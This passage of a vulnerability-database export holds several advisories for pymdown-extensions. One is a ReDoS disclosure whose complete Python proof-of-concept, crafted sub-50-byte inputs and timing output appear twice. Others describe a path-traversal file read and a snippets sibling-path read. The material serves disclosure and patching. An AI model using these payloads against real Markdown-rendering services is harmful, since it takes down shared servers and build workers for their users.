ramp, hang) in CASES.items():\n    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear\n    base = render(ext, base_txt)\n    print(f\"\\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n    prev = None\n    for n in ramp:\n        txt = evil(n)\n        dt = render(ext, txt)\n        ratio = f\"  (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n        shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n        print(f\"          malicious len {len(txt):3d}: {shown}{ratio}\")\n        prev = dt\n    txt = evil(hang)\n    dt = render(ext, txt)\n    hung = dt is None\n    print(f\"          malicious len {len(txt):3d}: \"\n          f\"{'\u003e %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}\")\n    ok = base \u003c 0.05 and (hung or dt \u003e 1.0)\n    repro.append(ok)\n    print(f\"          =\u003e {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte \"\n          f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n      \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions' own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.054 s  (x16.6)\n          malicious len  39:    0.946 s  (x17.6)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.053 s  (x17.1)\n          malicious len  39:    0.962 s  (x18.2)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.052 s  (x17.1)\n          malicious len  39:    0.948 s  (x18.1)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms\n          malicious len  37:    0.033 s\n          malicious len  41:    0.210 s  (x6.4)\n          malicious len  45:    1.405 s  (x6.7)\n          malicious len  49: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) — the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n  issue/ticket bodies, chat, live preview) — notably any app using\n  `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n  `smart_enable='underscore'`, or that reuses a Material-style extension block in\n  a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n  single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed — the maintainer makes\n  the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n  `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n  default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n  (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n  fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n  `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n  alternation in PR #2547 (v10.13); earlier releases used a linear\n  `(.+?)` / `([^\\s]+?)` group. `magiclink`'s host pattern is long-standing. None\n  of the four has been touched by a prior security fix; all are present in the\n  latest release (11.0).","status":"published","published":"2026-08-07T18:26:07Z","modified":"2026-09-10T03:51:14.08991127Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T15:46:47.822182Z"},{"id":"OESA-2026-4182","title":"python-pymdown-extensions security update","description":"Extension pack for Python Markdown.\r\n\r\nSecurity Fix(es):\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. From 10.0.1 until 10.21.3, pymdownx.snippets uses a string-prefix containment check in SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py when `restrict_base_path: True`, allowing markdown snippet directives to read files from sibling paths that share the same base_path prefix, such as docs and docs_internal. This is a regression of CVE-2023-32309. This issue is fixed in version 10.21.3.(CVE-2026-46338)\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u0026lt;img src=\u0026quot;...\u0026quot;\u0026gt; by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file\u0026apos;s contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.(CVE-2026-61632)\n\npymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0026apos;s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.(CVE-2026-67422)","status":"published","published":"2026-09-30T13:47:22Z","modified":"2026-10-01T02:00:07.617204605Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4183","title":"python-pymdown-extensions security update","description":"Extension pack for Python Markdown.\r\n\r\nSecurity Fix(es):\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. From 10.0.1 until 10.21.3, pymdownx.snippets uses a string-prefix containment check in SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py when `restrict_base_path: True`, allowing markdown snippet directives to read files from sibling paths that share the same base_path prefix, such as docs and docs_internal. This is a regression of CVE-2023-32309. This issue is fixed in version 10.21.3.(CVE-2026-46338)\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u0026lt;img src=\u0026quot;...\u0026quot;\u0026gt; by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file\u0026apos;s contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.(CVE-2026-61632)\n\npymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0026apos;s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.(CVE-2026-67422)","status":"published","published":"2026-09-30T13:47:23Z","modified":"2026-10-01T02:00:06.915388189Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"OESA-2026-4184","title":"python-pymdown-extensions security update","description":"Extension pack for Python Markdown.\r\n\r\nSecurity Fix(es):\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. From 10.0.1 until 10.21.3, pymdownx.snippets uses a string-prefix containment check in SnippetPreprocessor.get_snippet_path() in pymdownx/snippets.py when `restrict_base_path: True`, allowing markdown snippet directives to read files from sibling paths that share the same base_path prefix, such as docs and docs_internal. This is a regression of CVE-2023-32309. This issue is fixed in version 10.21.3.(CVE-2026-46338)\n\nPyMdown Extensions is a set of extensions for the Python-Markdown markdown project. In versions up to and including 10.21.3, the b64 extension is vulnerable to a path traversal that discloses arbitrary files: it inlines images referenced by \u0026lt;img src=\u0026quot;...\u0026quot;\u0026gt; by joining the src onto the configured base_path with os.path.normpath and opening the result directly, without verifying that the resolved path stays inside base_path. As a result, an src containing ../ sequences or an absolute path reads a file outside base_path as long as it has an allowed image extension (.png, .jpg, .jpeg, .gif, .svg), and the file\u0026apos;s contents are then base64-encoded into the rendered output, disclosing them. An application that renders untrusted Markdown with pymdownx.b64 enabled can therefore leak the contents of image-extension files readable by the process to whoever controls the Markdown or views the output, a targeted file-read bounded by the extension check. This issue has been fixed in version 11.0.(CVE-2026-61632)\n\npymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension\u0026apos;s default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.(CVE-2026-67422)","status":"published","published":"2026-09-30T13:47:23Z","modified":"2026-10-01T02:00:06.782014487Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:47.643553Z"},{"id":"PYSEC-2026-3654","title":"pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors","description":"### Summary\n\nFour inline processors in pymdown-extensions contain regular expressions with\nexponential backtracking. A single untrusted Markdown line under\n50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread\n(seconds at ~45 bytes, growing exponentially with each added character). All four\nfire in the extension's **default configuration**\nand are reachable through the documented public API. The `caret`/`tilde`/\n`betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547\n(first released in **10.13**, Dec 2024) — earlier releases used a linear\n`(.+?)` / `([^\\s]+?)` content group — and is present through **11.0** (latest);\n`magiclink`'s host pattern is long-standing and affects effectively all releases.\nLikely **CWE-1333 (Inefficient Regular Expression Complexity)**.\n\nThis is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`,\n`RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a\ndifferent root cause (delimiter-run partition ambiguity rather than a `.`/`\\.`\ntypo).\n\n### Details\n\nFour regexes share, or closely mirror, a vulnerable shape — an inner group that\ncan partition a run of the delimiter character into `{2,}`-sized pieces in\nexponentially many ways, wrapped in a lazy `+?` that must fail before the engine\ncan give up:\n\n| Extension | Regex | Location (`11.0`) |\n|---|---|---|\n| `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` |\n| `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` |\n| `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` |\n| `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |\n\n`pymdownx/caret.py:56` (`pymdown-extensions 11.0`):\n\n```python\nSUP2 = r'(?\u003c!\\^)(\\^)(?![\\^\\s])((?:[^\\^\\s]|\\^{2,})+?)(?\u003c![\\^\\s])(\\^)(?!\\^)'\n```\n\nThe content group `(?:[^\\^\\s]|\\^{2,})+?` matches a run of carets only via the\n`\\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in\nexponentially many combinations; when no caret can serve as a valid closing\ndelimiter (the trailing `(?\u003c![\\^\\s])(\\^)` cannot be satisfied), the engine\nexplores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2`\n(betterem) are the same construct for `~` and `_`. In `betterem` the default\n`smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` →\n`SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable,\nAPI-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when\n`smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce\nthrough the public `markdown.markdown()` pipeline on the tested payload, so a fix\nand regression test should target `SMART_UNDER_EM2`.\n\n`pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where\noverlapping character classes let a run of dots be grouped exponentially:\n\n```python\n(?:ht|f)tps?://[^_\\W][-\\w]*(?:\\.[-\\w.]+)*    # host: '\\.' and '[-\\w.]' inside (?:...)* both match '.'\n```\n\n`SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the\ndefault `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is\napplied by `MagiclinkPattern` (registered unconditionally at priority 85). In all\nfour cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted\n`src` in default configuration is sufficient to reach the regex.\n\n### PoC\n\nSingle self-contained script; runs against the pinned release in an ephemeral\nenv. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time\n(a per-render alarm caps each attempt so the script terminates).\n\n```python\nimport signal\nimport time\nfrom importlib.metadata import version\n\nimport markdown\n\nprint(f\"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}\")\n\nCAP = 5.0  # a single render exceeding this is treated as a hang\n\n\nclass Timeout(Exception):\n    pass\n\n\ndef render(ext, text):\n    signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))\n    signal.setitimer(signal.ITIMER_REAL, CAP)\n    t = time.perf_counter()\n    try:\n        markdown.markdown(text, extensions=[ext])\n        return time.perf_counter() - t\n    except Timeout:\n        return None\n    finally:\n        signal.setitimer(signal.ITIMER_REAL, 0)\n\n\n# ext -\u003e (malicious builder, benign builder [valid \u0026 closed], ramp, hang count)\nCASES = {\n    \"pymdownx.caret\":     (lambda n: \"^a\" + \"^\" * n + \"b\",       lambda n: \"^\" + \"a\" * n + \"^\",           [24, 30, 36], 44),\n    \"pymdownx.tilde\":     (lambda n: \"~a\" + \"~\" * n + \"b\",       lambda n: \"~\" + \"a\" * n + \"~\",           [24, 30, 36], 44),\n    \"pymdownx.betterem\":  (lambda n: \"_a\" + \"_\" * n + \"b\",       lambda n: \"_\" + \"a\" * n + \"_\",           [24, 30, 36], 44),\n    \"pymdownx.magiclink\": (lambda n: \"http://a\" + \".\" * n + \" \", lambda n: \"http://\" + \"a\" * n + \".com \", [28, 32, 36], 40),\n}\n\nrepro = []\nfor ext, (evil, benign, ramp, hang) in CASES.items():\n    base_txt = benign(hang)  # valid, closed run: same regex machinery, but linear\n    base = render(ext, base_txt)\n    print(f\"\\n[{ext}]  benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms\")\n    prev = None\n    for n in ramp:\n        txt = evil(n)\n        dt = render(ext, txt)\n        ratio = f\"  (x{dt / prev:.1f})\" if (prev and dt) else \"\"\n        shown = f\"{dt:8.3f} s\" if dt is not None else f\"\u003e {CAP:.0f} s (HANG)\"\n        print(f\"          malicious len {len(txt):3d}: {shown}{ratio}\")\n        prev = dt\n    txt = evil(hang)\n    dt = render(ext, txt)\n    hung = dt is None\n    print(f\"          malicious len {len(txt):3d}: \"\n          f\"{'\u003e %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}\")\n    ok = base \u003c 0.05 and (hung or dt \u003e 1.0)\n    repro.append(ok)\n    print(f\"          =\u003e {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte \"\n          f\"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.\")\n\nassert all(repro), \"not reproduced\"\nprint(\"\\nVERDICT: exponential ReDoS reproduced in all four extensions via the \"\n      \"public markdown.markdown() API, default config (each \u003c 50-byte input).\")\n```\n\nRun:\n\n```bash\nuv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.py\n```\n\nThe bug is in pymdown-extensions' own regexes run by the stdlib `re` engine, so it\nis independent of the Markdown library version (`markdown` pinned only for\nbyte-exact output). Observed output:\n\n```\n# pymdown-extensions 11.0 / markdown 3.10.2\n\n[pymdownx.caret]  benign baseline (len 46, valid+closed): 11.768 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.054 s  (x16.6)\n          malicious len  39:    0.946 s  (x17.6)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.tilde]  benign baseline (len 46, valid+closed): 5.364 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.053 s  (x17.1)\n          malicious len  39:    0.962 s  (x18.2)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.betterem]  benign baseline (len 46, valid+closed): 3.167 ms\n          malicious len  27:    0.003 s\n          malicious len  33:    0.052 s  (x17.1)\n          malicious len  39:    0.948 s  (x18.1)\n          malicious len  47: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.\n\n[pymdownx.magiclink]  benign baseline (len 52, valid+closed): 4.935 ms\n          malicious len  37:    0.033 s\n          malicious len  41:    0.210 s  (x6.4)\n          malicious len  45:    1.405 s  (x6.7)\n          malicious len  49: \u003e 5 s (HANG)\n          =\u003e REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.\n\nVERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each \u003c 50-byte input).\n```\n\nThe per-step ratio stays roughly constant as the run grows (a fixed multiplicative\nfactor per fixed-size increment) — the signature of exponential, not polynomial,\nbacktracking. A valid, closed delimiter run of the same length exercises the same\nregex yet renders in well under a millisecond, isolating the cost to the *unclosed*\ncrafted run. Extending it a few more characters pushes the render time into minutes\nand beyond.\n\n### Impact\n\nDenial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with\nno memory pressure to trip an OOM killer. Most Material/MkDocs usage renders\ntrusted author content at build time, but the untrusted-input exposure is concrete\nin two settings:\n\n- General Python web apps that render user-supplied Markdown (comments, wikis,\n  issue/ticket bodies, chat, live preview) — notably any app using\n  `pymdownx.extra`, which bundles `betterem` with the vulnerable default\n  `smart_enable='underscore'`, or that reuses a Material-style extension block in\n  a runtime renderer.\n- Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a\n  single crafted line hangs the shared build worker.\n\n- Attacker: unauthenticated, remote (anyone who can submit Markdown).\n- Configuration: **default** for each extension.\n- Proposed **CWE-1333**. Proposed CVSS 3.1 (as proposed — the maintainer makes\n  the final call): `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` (7.5, High).\n\n### Suggestion\n\nThe vulnerable content groups need to be rewritten so a delimiter run has exactly\none parse, removing the `{2,}` partition ambiguity that lets the engine\nre-segment a run on backtracking. For the emphasis patterns, restructuring the\ncontent so a delimiter run is consumed in a single, non-re-partitionable way\n(rather than by a `{2,}` branch inside a `+?` group) removes the blow-up; for\n`RE_LINK`, disambiguate the host so `.` is matched in exactly one place (a single\nlabelled-host pattern such as `(?:[-\\w]+)(?:\\.[-\\w]+)*`) rather than by\noverlapping classes. Possessive quantifiers / atomic groups are the most direct\ntool but require Python 3.11+; since the project supports Python 3.10, a\nstructural rewrite is the portable option.\n\nA regression fixture per extension (a short delimiter run with no valid closer,\nasserted to render under a small time budget) would guard against reintroduction.\n\n### References\n\n- Affected source (`pymdown-extensions 11.0`): `pymdownx/caret.py:56` (`SUP2`),\n  `pymdownx/tilde.py:55` (`SUB2`), `pymdownx/betterem.py:93` (`SMART_UNDER_EM2`,\n  default; `:69` `UNDER_EM2` shares the shape), `pymdownx/magiclink.py:56`\n  (`RE_LINK`, host subexpression at `:59`).\n- Novelty: same class as CVE-2025-68142 (`pymdownx.blocks.caption` `RE_FIG_NUM`,\n  fixed 10.16.1) but distinct extensions, regexes, and root cause. The\n  `caret`/`tilde`/`betterem` content groups gained the vulnerable `{2,}`\n  alternation in PR #2547 (v10.13); earlier releases used a linear\n  `(.+?)` / `([^\\s]+?)` group. `magiclink`'s host pattern is long-standing. None\n  of the four has been touched by a prior security fix; all are present in the\n  latest release (11.0).","status":"published","published":"2026-08-10T10:43:51.576444Z","modified":"2026-08-10T11:30:11.950190497Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"UBUNTU-CVE-2026-67422","description":"pymdown-extensions is a collection of extensions for the Python Markdown library. In versions up to and including 11.0, four inline processors (caret, tilde, betterem, and magiclink) use regular expressions whose content groups can partition a run of delimiter characters in exponentially many ways, causing catastrophic backtracking. As a result, a single untrusted Markdown line under 50 bytes rendered with markdown.markdown() in each extension's default configuration drives the rendering thread into unbounded CPU usage that grows exponentially with input length, enabling an unauthenticated remote attacker who can submit Markdown to cause denial of service. The exposure is concrete for web applications that render user-supplied Markdown (comments, wikis, issue bodies, live preview), including any app using pymdownx.extra which bundles the vulnerable betterem default, as well as hosted docs/CI systems that build untrusted Markdown. The issue has been fixed in version 11.0.1.","status":"published","published":"2026-08-06T22:18:00Z","modified":"2026-08-25T02:30:04.07690846Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:53.710209Z"},{"id":"ROOT-APP-PYPI-CVE-2026-67422","title":"CVE-2026-67422 in pymdown-extensions - Patched by Root","description":"Root has patched CVE-2026-67422 in the pymdown-extensions package for Root:PyPI. Multiple fixed versions available.","status":"published","published":"2026-09-14T12:37:52Z","modified":"2026-09-14T13:15:03.021625815Z","updated_at":"2026-11-02T15:53:28.259095Z"}]}}
